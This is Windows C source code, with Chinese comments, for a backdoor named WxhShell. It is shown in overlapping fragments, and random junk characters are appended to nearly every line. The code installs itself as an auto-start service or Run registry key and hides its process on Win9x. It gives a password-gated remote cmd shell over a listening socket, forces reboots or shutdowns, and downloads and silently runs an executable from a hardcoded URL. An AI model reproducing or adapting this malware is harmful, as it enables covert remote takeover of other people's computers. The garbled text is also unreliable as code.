    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T_)g/,5>  
    if(Boot(SHUTDOWN)) 57fl<IM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQJa6QF&:  
    else { $:?Dyu(Il  
    closesocket(wsh); ZveNe~D7C  
    ExitThread(0); ,i jB3J  
    } /[=Yv!  
    break; S$O5jX 0  
    } 7|HIl=  
  // 获取shell DPlDuUOd  
  case 's': { yV~TfTJ  
    CmdShell(wsh); Gx7bV}&PN  
    closesocket(wsh); ZEp>~dn;  
    ExitThread(0); "{S6iH)]8  
    break; GlHP`&;UH  
  } ew \WV "  
  // 退出 { 2%'=v  
  case 'x': { x8xz33  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 28LBvJVq@  
    CloseIt(wsh); LOgFi%!6:  
    break; 6HguZ_jC  
    } )oALB vX  
  // 离开 O14\_eAu6  
  case 'q': { _dY5qW1p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i[?VF\Y(  
    closesocket(wsh); d8uDSy  
    WSACleanup(); NQGa=kXeJ  
    exit(1); U(PW$\l  
    break; **\?-*c=U  
        } W}y)vrL  
  } cyLl,OA  
  } Qgf\"s  
+1a3^A\  
  // 提示信息 Z l;TS%$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .l hS  
} BoQ%QV69%  
  } 9Trk&OB  
!>"fDz<w`  
  return; mrq,kwM  
} gAh#H ?MM  
^D1gcI  
// shell模块句柄 Uqz.Q\A  
int CmdShell(SOCKET sock) @tJ4^<`P{  
{ `rXb:P7m{j  
STARTUPINFO si; s q;!5qK  
ZeroMemory(&si,sizeof(si)); w=CzPNRHH!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @U4hq7xzV2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }VRl L>HAC  
PROCESS_INFORMATION ProcessInfo; uts>4r>+  
char cmdline[]="cmd"; q`'"+`h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ::+;PRy_E  
  return 0; qco uZO  
} }OhSCH'o6  
fdWqc_  
// 自身启动模式 z(8G=C  
int StartFromService(void) 3;FV^V'  
{ mo3A*|U  
typedef struct J2 /19'QE  
{ Ozhn`9L+1!  
  DWORD ExitStatus; ZW9OPwV  
  DWORD PebBaseAddress; Fw*O ciC  
  DWORD AffinityMask; _g fmo  
  DWORD BasePriority; ar\ K8mj  
  ULONG UniqueProcessId; ZDAW>H<  
  ULONG InheritedFromUniqueProcessId; 0 )cSm"s  
}   PROCESS_BASIC_INFORMATION; BVj(Q}f8  
 sa&`CEa  
PROCNTQSIP NtQueryInformationProcess; @ZjO#%Ep/  
O@ H.k<zn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rQ_]%ies8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =E> P,"D  
/M::x+/T  
  HANDLE             hProcess; k0O5c[ j  
  PROCESS_BASIC_INFORMATION pbi; |:&O!36  
\K~wsu/?`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ue60Mf  
  if(NULL == hInst ) return 0; Cc*R3vHM6  
"/RMIS K[;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /:Gy .  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ez!W0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _{; _wwz  
b- e  
  if (!NtQueryInformationProcess) return 0; lZ7 $DGe  
$Hj;i/zD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "oNl!<ep  
  if(!hProcess) return 0; ;@Fb>l BhX  
9 &uf   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AoOA.t6RVo  
\lm]G7h  
  CloseHandle(hProcess); >$9}"  
UOf\pG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ypG*41  
if(hProcess==NULL) return 0; ~Gz9pBv1  
d23=WNn  
HMODULE hMod; kE .4 #  
char procName[255]; "f_qG2A{  
unsigned long cbNeeded; ;*t#:U*  
hm d3W`8D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  U-4F  
N) _24  
  CloseHandle(hProcess); r~h#  
YS){ N=g&'  
if(strstr(procName,"services")) return 1; // 以服务启动 J ffaT_"\  
%b<W]HwA  
  return 0; // 注册表启动 H!Q72tyo  
} M*ZN]9{^.  
o h\$u5  
// 主模块 Ze8.+Ee  
int StartWxhshell(LPSTR lpCmdLine) ltDohm?  
{ B+U:=591  
  SOCKET wsl; tkcs6uy  
BOOL val=TRUE; ?.%dQ0  
  int port=0; RPgz"-  
  struct sockaddr_in door; +llb{~ZN  
_Iav2= 0Wi  
  if(wscfg.ws_autoins) Install(); nL/]Q'(5  
zA>X+JH>iw  
port=atoi(lpCmdLine); kt)Et  
f+uyO7  
if(port<=0) port=wscfg.ws_port; 6{ ]F#ig=  
dB[4NT  
  WSADATA data; )V2W:M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z5]6"v -  
qc @cd i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s. A}ydtt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2I}pX9  
  door.sin_family = AF_INET; `HQ)][  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  XyE$0i~t  
  door.sin_port = htons(port); Z>g>OPu  
m =b7 r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { px K&aY8  
closesocket(wsl); Lo!hyQ)  
return 1; zG6l8%q'UE  
} vJ65F6=G  
4-x<^ ev=  
  if(listen(wsl,2) == INVALID_SOCKET) { h>\C2Q  
closesocket(wsl); uW!XzX['  
return 1; #\lvzMjCC  
} . &j+&  
  Wxhshell(wsl); $YEm(:v$  
  WSACleanup(); N:| :L:<1  
:IS?si5|  
return 0; W^ L ^7  
~?ezd0  
} Ia#!T"]@W6  
yqq1a o  
// 以NT服务方式启动 W"vLCHTh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kx;X:I(5&P  
{ xjo`u:BH  
DWORD   status = 0; -|m3=#  
  DWORD   specificError = 0xfffffff; W7!gD  
bLai@mL&a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H **tMq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qi`3$<W>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R<&Euph  
  serviceStatus.dwWin32ExitCode     = 0; eW(pP>@k,  
  serviceStatus.dwServiceSpecificExitCode = 0; f $Agcy  
  serviceStatus.dwCheckPoint       = 0; H<_Tn$<zH.  
  serviceStatus.dwWaitHint       = 0; -`k>(\Q< d  
>6 o <Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OX;(Mg|  
  if (hServiceStatusHandle==0) return; hc|A:v)]  
LBy`N_@  
status = GetLastError(); ZR}v_]l^  
  if (status!=NO_ERROR) p2gdA J  
{ Og7yT{h_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |:R\j0t  
    serviceStatus.dwCheckPoint       = 0; ]XEyG7D  
    serviceStatus.dwWaitHint       = 0; HqWWWCWal  
    serviceStatus.dwWin32ExitCode     = status; F6q=W#~  
    serviceStatus.dwServiceSpecificExitCode = specificError; I_ZJnu<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gFTU9k<  
    return; `nyz,  
  } utZI'5i  
v8f3B<kj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7p.8{zQ*  
  serviceStatus.dwCheckPoint       = 0; .jQx2 O  
  serviceStatus.dwWaitHint       = 0; #7 O7O~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *LB-V%{|'  
} 7T)y"PZ  
*U1*/Q.  
// 处理NT服务事件,比如:启动、停止 o!BCR:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,'(|,f42  
{ _;PQt" ]  
switch(fdwControl) yf:0u_&]  
{ SSF:PTeG>  
case SERVICE_CONTROL_STOP: jv~#'=T'  
  serviceStatus.dwWin32ExitCode = 0; LG,?,%_s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #-B<u-  
  serviceStatus.dwCheckPoint   = 0; g4WmUV#wp  
  serviceStatus.dwWaitHint     = 0; P}Ig6^[m\  
  { RDbNC v#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W@AHE?s6g  
  } 55O}SUs!P  
  return; %.$!VTO"  
case SERVICE_CONTROL_PAUSE: !hQ-i3?qm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n8EKTuy  
  break; gaXo)oS  
case SERVICE_CONTROL_CONTINUE: zRjbEL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #eKKH]J/  
  break; j4i$2ZT'  
case SERVICE_CONTROL_INTERROGATE: \5}PF+)|  
  break; $HQ~I?r{Hf  
}; 6E) T;R(@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ia\Gmh  
} G%~V b  
l^R:W#*+U  
// 标准应用程序主函数 5]*lH t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AIOGa<^  
{ 3|$?T|#B  
KN_n:`cH{  
// 获取操作系统版本 M %zf?>])  
OsIsNt=GetOsVer(); Ut~YvWc9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w31O~Ve  
lJAzG,f  
  // 从命令行安装 [Uk cG9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4mY^pQ1=L  
AT t.}-  
  // 下载执行文件 7x`$ A  
if(wscfg.ws_downexe) { [5xm>Y&}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _\4r~=`HQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); }%w;@[@L  
} hRuiuGC  
}%wP^6G*x\  
if(!OsIsNt) { '(r?($s  
// 如果时win9x,隐藏进程并且设置为注册表启动 &S.p%Qe"  
HideProc(); Pq~#SxA~  
StartWxhshell(lpCmdLine); * g+v*q X  
} oa+'.b~  
else C|H`.|Q  
  if(StartFromService()) vH6(p(l  
  // 以服务方式启动 r|Uz?  
  StartServiceCtrlDispatcher(DispatchTable); f4<~_ZGr  
else b^i$2$9_  
  // 普通方式启动 br0\O  
  StartWxhshell(lpCmdLine); f(}&8~&  
d+P<ce2 G  
return 0; T:Q+ Z }v+  
} 0F!Uai1  
aEQrBs  
rfdA?X{Q0  
QN;NuDHN  
=========================================== sk5=$My  
, -d2wzhW  
BB,-HhYT0  
1\-lAk!   
F9w2+z.  
.}R'(gN\6  
" Y edF%  
Qmd2C&Xw  
#include <stdio.h> %LdBO1D0  
#include <string.h> brE%/%! e  
#include <windows.h> HE4S%#bH>  
#include <winsock2.h> 2DZ&g\|  
#include <winsvc.h> Q\~#cLJ/  
#include <urlmon.h> UT_t]m  
w0>5#j q#r  
#pragma comment (lib, "Ws2_32.lib") R$/q=*k  
#pragma comment (lib, "urlmon.lib") ;rh =63g  
H6#SP~V  
#define MAX_USER   100 // 最大客户端连接数 ojWf]$^y}  
#define BUF_SOCK   200 // sock buffer bnp:J|(ld  
#define KEY_BUFF   255 // 输入 buffer ,({% t  
&@&^k$du8q  
#define REBOOT     0   // 重启 Q>=/u-  
#define SHUTDOWN   1   // 关机 5',b~Pp  
@bFl8-  
#define DEF_PORT   5000 // 监听端口 \<=.J`o{  
SZgan  
#define REG_LEN     16   // 注册表键长度 Df $Yn  
#define SVC_LEN     80   // NT服务名长度 G~lnX^46"  
4=ha$3h$  
// 从dll定义API ]G~u8HPH!m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G#^6H]`[J:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Im`R2_(]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y3 S T"U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3A b_Z  
1rmN)  
// wxhshell配置信息 zy9W{{:P(1  
struct WSCFG { >F!X'#Iv  
  int ws_port;         // 监听端口 na/,1iI<  
  char ws_passstr[REG_LEN]; // 口令 49#?I:l  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yceex}X*5  
  char ws_regname[REG_LEN]; // 注册表键名 QRY7ck:N  
  char ws_svcname[REG_LEN]; // 服务名 6;\Tps;A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Of$gs-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fVBu?<=d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0Szt^l7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (7P VfS>;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t9kqX(!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mw $.B#  
x8h=3e$  
}; h6gtO$A|p=  
$-]PD`wmY  
// default Wxhshell configuration 771r(X?Fa  
struct WSCFG wscfg={DEF_PORT, v/C*?/ ~  
    "xuhuanlingzhe", I* JSb9r  
    1, oMZ|)(7C  
    "Wxhshell", ^F$iD (f  
    "Wxhshell", [IuF0$w=dj  
            "WxhShell Service", Ds%~J  
    "Wrsky Windows CmdShell Service", u!VY6y7p  
    "Please Input Your Password: ", ![@\p5-e  
  1, Q-S5("  
  "http://www.wrsky.com/wxhshell.exe", X=b]Whuv  
  "Wxhshell.exe" so\8.(7n  
    }; h]okY49hY  
{nmBIk2v  
// 消息定义模块 fyt`$y_E[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e;)&Hc:Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |-k~Fa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W(UrG]J*l  
char *msg_ws_ext="\n\rExit."; J"RmV@|  
char *msg_ws_end="\n\rQuit."; <DM:YWNa  
char *msg_ws_boot="\n\rReboot..."; RjCEo4b-.H  
char *msg_ws_poff="\n\rShutdown..."; 0Fm,F&12  
char *msg_ws_down="\n\rSave to "; }>u<,  
VYN1^Tp  
char *msg_ws_err="\n\rErr!"; MDKiwT@#  
char *msg_ws_ok="\n\rOK!"; N,NEg4 q[  
E#cZM>  
char ExeFile[MAX_PATH]; vErlh:~e  
int nUser = 0; rN^P//  
HANDLE handles[MAX_USER]; !NFP=m1  
int OsIsNt; q!zsGf {  
0FD+iID  
SERVICE_STATUS       serviceStatus; ]):kMRv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BPzlt  
u0& dDZ  
// 函数声明  =:-x;  
int Install(void); KUqD<Jj?  
int Uninstall(void); #r_&Q`!eU  
int DownloadFile(char *sURL, SOCKET wsh); *b0f)y3RV  
int Boot(int flag); l6EDl0~r  
void HideProc(void); +b]+5!  
int GetOsVer(void); >Kc>=^=5  
int Wxhshell(SOCKET wsl); B}y-zj; T  
void TalkWithClient(void *cs); x GHS  
int CmdShell(SOCKET sock); M%8:  
int StartFromService(void); R\wG3Oxol  
int StartWxhshell(LPSTR lpCmdLine); 7 n=fB#!*3  
Ll L8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :2fz4n0{/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y$e'-v  
Vi~F Q  
// 数据结构和表定义 }~RH!Q1  
SERVICE_TABLE_ENTRY DispatchTable[] = :8~*NSEFd  
{ =K)au$BE|  
{wscfg.ws_svcname, NTServiceMain}, 5b9>a5j1;  
{NULL, NULL} $iA`_H`W  
}; x-_!I>l&  
H+>l][  
// 自我安装 3wBc`vJ!  
int Install(void) F*_mHYa;  
{ E30VKh |  
  char svExeFile[MAX_PATH]; ci^+T *  
  HKEY key; Tl!}9/Q5E:  
  strcpy(svExeFile,ExeFile); 5[|MO.CB$  
:B<lDcFKJ  
// 如果是win9x系统,修改注册表设为自启动  R9->.eE  
if(!OsIsNt) { l }?'U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B%L0g.D"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #n'tpp~O  
  RegCloseKey(key); q lL6wzq,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v |XEC[F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LV&tu7c  
  RegCloseKey(key); 7ST[XLwt%}  
  return 0; (l.`g@(L  
    } ?hS n)  
  } A}b<Lg  
} JeJc(e  
else { nJYcC"f  
Mp ~E $f  
// 如果是NT以上系统,安装为系统服务 $o`N%]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l|fOi A*K  
if (schSCManager!=0) .(  vS/  
{ >Z?3dM~[  
  SC_HANDLE schService = CreateService "YGs<)S  
  ( $+sNjwv^F  
  schSCManager, b0i]T?#  
  wscfg.ws_svcname, }Y5Sf"~M  
  wscfg.ws_svcdisp, m?_S&/+*  
  SERVICE_ALL_ACCESS, S)GWr"m-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v.+-)RLQg  
  SERVICE_AUTO_START, Pb.-Z@  
  SERVICE_ERROR_NORMAL, cT8jG ,+"}  
  svExeFile, ;""V s6  
  NULL, :JqH.Sqk  
  NULL, g[j"]~  
  NULL, L^ VG?J  
  NULL, p~28?lYv  
  NULL j]6j!.1  
  ); I`2hxLwh+  
  if (schService!=0) 2_0OSbFv'P  
  { TE0hV w0c  
  CloseServiceHandle(schService); |-I[{"6q$@  
  CloseServiceHandle(schSCManager); LI?rz<H!D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `jJ5us  
  strcat(svExeFile,wscfg.ws_svcname); X#(?V[F]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jR\T\r4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K!k,]90Ko  
  RegCloseKey(key); ?G1-X~Z8  
  return 0; A[Juv]X  
    } Ud:v3"1  
  } &`<j!xlG  
  CloseServiceHandle(schSCManager); L!DP*XDp  
} uU6+cDp  
} .-[UHO05^8  
_I~W!8&w>  
return 1; m"~$JA u  
} cxrUk$f  
5FnWlFc  
// 自我卸载 4W~pAruwr  
int Uninstall(void) J \1&3r|R  
{ 6Ez}A|i  
  HKEY key; N/Z3 EF_  
mT>56\63  
if(!OsIsNt) { 3IZ^!J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4)-LlYS_d<  
  RegDeleteValue(key,wscfg.ws_regname); "Sc_E}q |e  
  RegCloseKey(key); v'S}&zmF]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Q#/J)N  
  RegDeleteValue(key,wscfg.ws_regname); !Z,h5u\.w  
  RegCloseKey(key); MMD4b}p  
  return 0; \Zqgr/.w/  
  } =g2; sM/  
} "N"9PTX  
} 9n$GeRO  
else { [(5;jUmF@  
N0sf V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); //\ORJd  
if (schSCManager!=0) t*< .^+Vd  
{ P(d4~hS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "44VvpQC  
  if (schService!=0) ^LE`Y>&m  
  { # h]m8  
  if(DeleteService(schService)!=0) { #]oVVf_  
  CloseServiceHandle(schService); k;R*mg*K  
  CloseServiceHandle(schSCManager); "6lf~%R"  
  return 0; pV(b>O  
  } amK?LDf]  
  CloseServiceHandle(schService); kV(}45i]s  
  } C#`eN{%.YT  
  CloseServiceHandle(schSCManager); 3lqR(Hh3  
} @ O5-w  
} B9/x?Jv1  
4T`u?T]  
return 1; X5cl'J(j9  
} KRf$VbuL  
[iwn"e  
// 从指定url下载文件 =da_zy  
int DownloadFile(char *sURL, SOCKET wsh) ((\s4-   
{ aIpDf|~  
  HRESULT hr; G)';ucs:,  
char seps[]= "/"; zy~vw6vu  
char *token; p)N=  
char *file; **d3uc4y  
char myURL[MAX_PATH]; DmM<Kkg.J  
char myFILE[MAX_PATH]; r ioNP(  
P}KN*Hn.  
strcpy(myURL,sURL); z/)HJo2#  
  token=strtok(myURL,seps); h!?7I=p~#  
  while(token!=NULL) }+h/2D  
  { d_BECx <\  
    file=token; B\wH`5/KW  
  token=strtok(NULL,seps); >c*}Do{lG  
  } H-~V:OCB~  
Zj99]4?9  
GetCurrentDirectory(MAX_PATH,myFILE); 2--"@@  
strcat(myFILE, "\\"); X(U CN0#  
strcat(myFILE, file); %Wkvo-rOq  
  send(wsh,myFILE,strlen(myFILE),0); TYGUB%A  
send(wsh,"...",3,0); nR-`;lrF~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +pZ, RW.D  
  if(hr==S_OK) (|I:d!>:U  
return 0; X}Bo[YoY$  
else eEePK~%c  
return 1; oA%8k51>~K  
M>VT$!Lx  
} wN\%b}pp  
9bR lSb@  
// 系统电源模块 ?2zVWZ  
int Boot(int flag) NBuibL  
{ Fq>=0 )  
  HANDLE hToken; fNNkc[YTZI  
  TOKEN_PRIVILEGES tkp; GoP,_sd\O  
D::$YR ~R  
  if(OsIsNt) { Gx ci  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m=<Tylv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G=W!$(:  
    tkp.PrivilegeCount = 1; |7XSC,"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; / PDe<p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y! he<4  
if(flag==REBOOT) { aT1T.3 a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _-eF &D  
  return 0; SQhk)S  
} ^-?5=\`5  
else { ,ef"S r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6nqG;z-IXJ  
  return 0; @RGVcfCG)  
} Dnn$-W|NC  
  } 8.FBgZh*  
  else { q"xIW0Pc  
if(flag==REBOOT) { ~CiVLS H=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3mKmd iD  
  return 0; m99j]w r~c  
} Y [Jt+p]  
else { 2 g5Ft  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T&Z%=L_Q  
  return 0;  SbQ Ri  
} #U45;idp  
} I;H6E  
:U)>um34e  
return 1; ?&$??r^i  
} $ZX^JWq  
!R*%F  
// win9x进程隐藏模块 a)J3=Z-  
void HideProc(void) vJ5`:4n"  
{ dYEF,\Z'  
W/_=S+CvK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tdZ,sHY6  
  if ( hKernel != NULL ) 59K%bz5t  
  { #;FHyKx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H.`>t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Awnj!KNCc  
    FreeLibrary(hKernel); VK\ Bjru9  
  } Trd/\tX#v&  
Ei!t#'*D<  
return; {TT@Mkz_QC  
} l%"[857  
?^]29p_  
// 获取操作系统版本 ZqKUz5M4  
int GetOsVer(void) P<P4*cOV  
{ )=VSERs  
  OSVERSIONINFO winfo; V_Z~$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R^zTgyr  
  GetVersionEx(&winfo); tY$ .(2Ua  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XE8~R5  
  return 1; 1Xy{&Ut\  
  else bz!9\D|h  
  return 0; g7*cwu  
} r~q*E'n  
|rJ1/T.9  
// 客户端句柄模块 }`k >6B  
int Wxhshell(SOCKET wsl) Z9-HQ5>  
{ "=)i'x"0"  
  SOCKET wsh; (ov=D7>t0  
  struct sockaddr_in client; 'G1~\CT  
  DWORD myID; WK7=z3mu  
b|U48j1A  
  while(nUser<MAX_USER) sO7$b@"u.  
{ x17cMfCH%  
  int nSize=sizeof(client); # Sfz^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bA]/p%rZ8  
  if(wsh==INVALID_SOCKET) return 1; F@Bh>Vb  
LF+#PnK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `jY*0{  
if(handles[nUser]==0) v=Ep  
  closesocket(wsh); S-^y;#=  
else RB1c!h$u  
  nUser++; 0:-i  
  } Zw(*q?9\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R03V+t=  
W-mi1l^H{  
  return 0; F5Ce:+h  
} +gb2>fei&  
| >xUgpQi  
// 关闭 socket r1:S8RT;H5  
void CloseIt(SOCKET wsh) #W<D~C[I _  
{ <qH>[ \  
closesocket(wsh); $^R[t;  
nUser--; =L~,HS(l,  
ExitThread(0); kM>0>fkjE  
} C:/ca)  
[.tqgU  
// 客户端请求句柄 *LJN2;  
void TalkWithClient(void *cs) kQlXcR  
{ :HhLc'1Jw  
<rc3&qmd  
  SOCKET wsh=(SOCKET)cs; qe!`LeT#  
  char pwd[SVC_LEN]; PQAN,d  
  char cmd[KEY_BUFF]; d#7 z N  
char chr[1]; `WF?87l1  
int i,j; (1\!6  
2GECcx53  
  while (nUser < MAX_USER) { #tG/{R  
m;o \.s  
if(wscfg.ws_passstr) { N3E Qq~lX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); drT X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :pQZ)bF  
  //ZeroMemory(pwd,KEY_BUFF); eG26m_S=  
      i=0; (_-<3)q4  
  while(i<SVC_LEN) { ew B&PR  
/yn1MW[.  
  // 设置超时 /Kb7#uq  
  fd_set FdRead; Mvoi   
  struct timeval TimeOut; 7dI+aJ  
  FD_ZERO(&FdRead); SiHZco I  
  FD_SET(wsh,&FdRead); bnLvJ]i)  
  TimeOut.tv_sec=8; P7d" E  
  TimeOut.tv_usec=0; VkFTIyt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q.i@Lvu#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I"*g-ji0  
?1}1uJMj-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n5"rSgUtE  
  pwd=chr[0]; MdT'xYomzQ  
  if(chr[0]==0xd || chr[0]==0xa) { "XMTj <D  
  pwd=0; csT_!sI I  
  break; [(}f3W&  
  } _ ={*<E  
  i++; (.7_`T6QG  
    } q5:-?|jXJ  
,6PV"E)_  
  // 如果是非法用户,关闭 socket mIq6\c$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0wXfu"E{  
} {'G@-+K  
GEfX,9LF&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <I'kJ{"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XLp tJ4~v  
F >2t=r*9  
while(1) { CF>k_\/Bj  
^*'|(Cv  
  ZeroMemory(cmd,KEY_BUFF); |332G64K  
ULMG"."IH  
      // 自动支持客户端 telnet标准   ~ C6< 75  
  j=0; hf0G-r_ow  
  while(j<KEY_BUFF) { b,/fz6 {N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '(Uyju=  
  cmd[j]=chr[0]; 0}hN/2}&  
  if(chr[0]==0xa || chr[0]==0xd) { B`<(qPD  
  cmd[j]=0; 4fw>(d(2  
  break; |f'U_nE#R/  
  } h=YY> x  
  j++; u-Ct-0  
    } 5.F.mUO  
-% PUY(  
  // 下载文件 h1G]w/.ws  
  if(strstr(cmd,"http://")) { 6 +^V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zC!]bWsD  
  if(DownloadFile(cmd,wsh)) Pk[f_%0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2+>!G RQ  
  else TbU\qcm]]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v<_}Br2I[  
  } _A kc7"  
